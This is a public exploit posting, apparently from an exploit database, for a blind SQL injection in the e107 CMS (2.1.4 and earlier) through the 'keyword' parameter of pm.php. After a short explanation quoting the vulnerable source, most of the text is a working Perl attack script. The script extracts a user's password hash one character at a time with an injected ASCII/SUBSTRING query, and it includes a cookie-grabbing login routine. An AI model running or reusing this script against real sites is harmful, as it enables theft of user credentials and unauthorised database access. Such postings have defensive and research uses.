###########################

# e107 2.1.4 Blind SQL Injection Vulnerability

###########################

#!/usr/bin/perl
#
#
# e107 <= 2.1.4 "keyword" Blind SQL Injection Exploit
#
# --------------------------------------------------------------------------
# [*] Discovered by staker - staker[at]hotmail[dot]it 
# [*] Discovered on 09/03/2017
# [*] Site Vendor: http://www.e107.org
# [*] BUG: Blind SQL Injection
# --------------------------------------------------------------------------
#
#
# Description
# -------------------------------------------------------------------------
# e107 contains one flaw that allows an attacker to carry out an SQL
# injection attack. The issue is due to the "e107_plugins/pm/pm.php" script 
# not properly saniting user-supplied input to the "keyword" POST variable
# This may allow an attacker to inject or manipulate sql queries in
# the backend database regardless of php.ini settings
# -------------------------------------------------------------------------
# SHORT EXPLANATION
# -----------------------------------
# 
# FILE:  "e107_handlers/core_functions.php"
#
# 76. function vartrue(&$val, $default='')                     
# 77. {
# 78.   if (isset($val) && $val) { return $val; } {1} <--- variable is not sanized to be sent at the mysql database
# 79.    return $default;
# 80.}
#
# ----------------------------------
#
# FILE: "e107/e107_plugins/pm/pm.php"
#
# 
# 35. if(vartrue($_POST['keyword']))   {2}<--- if $_POST keyword variable is set, then e107 starts pm_user_lookup() function.
# 36. {
# 37.   pm_user_lookup();
# 38.}
#
#
#
# 615. function pm_user_lookup()
# 616. {
# 617.  $sql = e107::getDb();
# 618.
# 619. $query = "SELECT * FROM #user WHERE user_name REGEXP '^".$_POST['keyword']."' "; {3} <---- variable not sanized
# 620. if($sql->gen($query))
# 621. {
# 622. echo '[';
# 623  while($row = $sql->fetch())
# 624. {
# 625.   $u[] =  "{\"caption\":\"".$row['user_name']."\",\"value\":".$row['user_id']."}";
# 626. }
# 627.
# 628.  echo implode(",",$u);
# 629.  echo ']';
# -----------------------------------
#
#
# use your brain..
#
# Greetz to: Warwolfz Crew,
# meh, Dante90, SHADES MASTER and nexen
#
# -- 0gay --
#
# -----------------------------------
# YOUR MOM IS NOT SAFE ANYMORE!!
# CALL HER!!
# -----------------------------------



use strict;
use IO::Socket::INET;
use LWP::UserAgent;


        

my ($URL,$uid) = @ARGV;
my @chars = (8..122);
my ($i,$ord,$hash) = (1,undef,undef);





if (@ARGV != 2) { usage(); } 


$URL = parse::URL($URL);


syswrite (STDOUT,"[-] Crypted Password: ");


for ($i=0;$i<=60;$i++) 
{
                   
   foreach $ord (@chars) 
   { 
             
      if (e107::Query(sql($i,$ord),$URL) == 666 ) 
    {  
        syswrite (STDOUT,chr($ord));
      $hash .= chr($ord);
      last;
    }
    if ($i == 2 and not defined $hash) 
    {
       syswrite (STDOUT,"\n[-] Exploit Failed");
     exit;
    }   
   }       
}



if (length($hash) == 60) {
   die "\[-]Exploit Successfully";
}
else {
   die "\n[-] Exploit Failed";
}   





sub e107::Query 
{
     
      # 1st parameter, sql query
      # 2nd parameter, e107 website    

    my ($query,$URL) = @_;
      my $response = undef; 
    
      my $lwp = new LWP::UserAgent;


      $lwp->default_header('User-Agent' => 'Lynx (textmode)');

      $response = $lwp->post($URL."/pm/",
                            [ 
                 keyword => $query
               ]) or die $!;


        if ($response->content =~ /caption/) {
       return 666;
    } 
        else {
           return 0;
        }       
     
}


sub parse::URL
{
        my $string = shift @_ || die($!);
         
        if ($string !~ /^http:\/\/?/i) {
                $string = 'http://'.$string;
        }
         
        return $string;
 }
 


sub sql
{
       
    # 1st parameter, an e107's userid
    # 2nd parameter substring number
    # 3rd parameter charcode number

      my ($i,$j,$sql) = (shift,shift,undef);
       
      $sql = "' AND ASCII(SUBSTRING((SELECT user_password FROM e107_user WHERE user_id=".$uid."),".$i.",1))=".$j."#";
              
      return $sql;        
}        





sub e107::Cookies
{

        my ($username,$password) = @_;
        my ($packet,$content);
        
        my $host = "127.0.0.1";   # Valid Host  (insert it manually)
    my $path = "/e107/";      # Valid e107 path (insert it manually)
    
    
    my $data = "username=",$username."&userpass=".$password."&userlogin=Sign+In";
    
    
    my $socket  = new IO::Socket::INET(
                                            PeerAddr => $host,
                                            PeerPort => 80,
                                            Proto    => 'tcp',
                                          ) or die $!;
    
    
     
        $packet .= "POST ".$path."/login.php HTTP/1.1\r\n";
        $packet .= "Host: ".$host."\r\n";
        $packet .= "User-Agent: Lynx (textmode)\r\n";
        $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
        $packet .= "Content-Length:".length($data)."\r\n";
        $packet .= "Connection: close\r\n\r\n";
        $packet.= $data;
    
        
    $socket->send($packet);
    
    while (<$socket>) {
      $content .= $_;
    }  
    
    
    if ($content =~ /Set-Cookie: (.+?)/) {
        return $1;
      }
        else {
            die("[-] Login Failed..\n");
        }      
    
    
    # This function is useful to log-in and retrieves your cookies, but you don't need it for this exploit.
        # it works without log-in, but if you got some trouble, try to use this one.
        
    # e107::Login('YOUR USERNAME','YOUR PASSWORD');
}    
    
    
sub usage() {
         
        print "[*---------------------------------------------------------*]\n".
              "[*  e107 <= 2.1.4 'keyword' Blind SQL Injection Exploit    *]\n".
              "[*---------------------------------------------------------*]\n". 
              "[* Usage: perl web.pl [host] [uid]                         *]\n".
              "[*                                                         *]\n".
              "[* Options:                                                *]\n".
              "[* [host] insert a valid host                              *]\n".
              "[* [uid]  insert a userid                                  *]\n".
              "[*---------------------------------------------------------*]\n";        
      exit;                       
    
}    
    
    
  
    
      

###########################

# Iranian Exploit DataBase = http://IeDb.Ir [2017-03-13]

###########################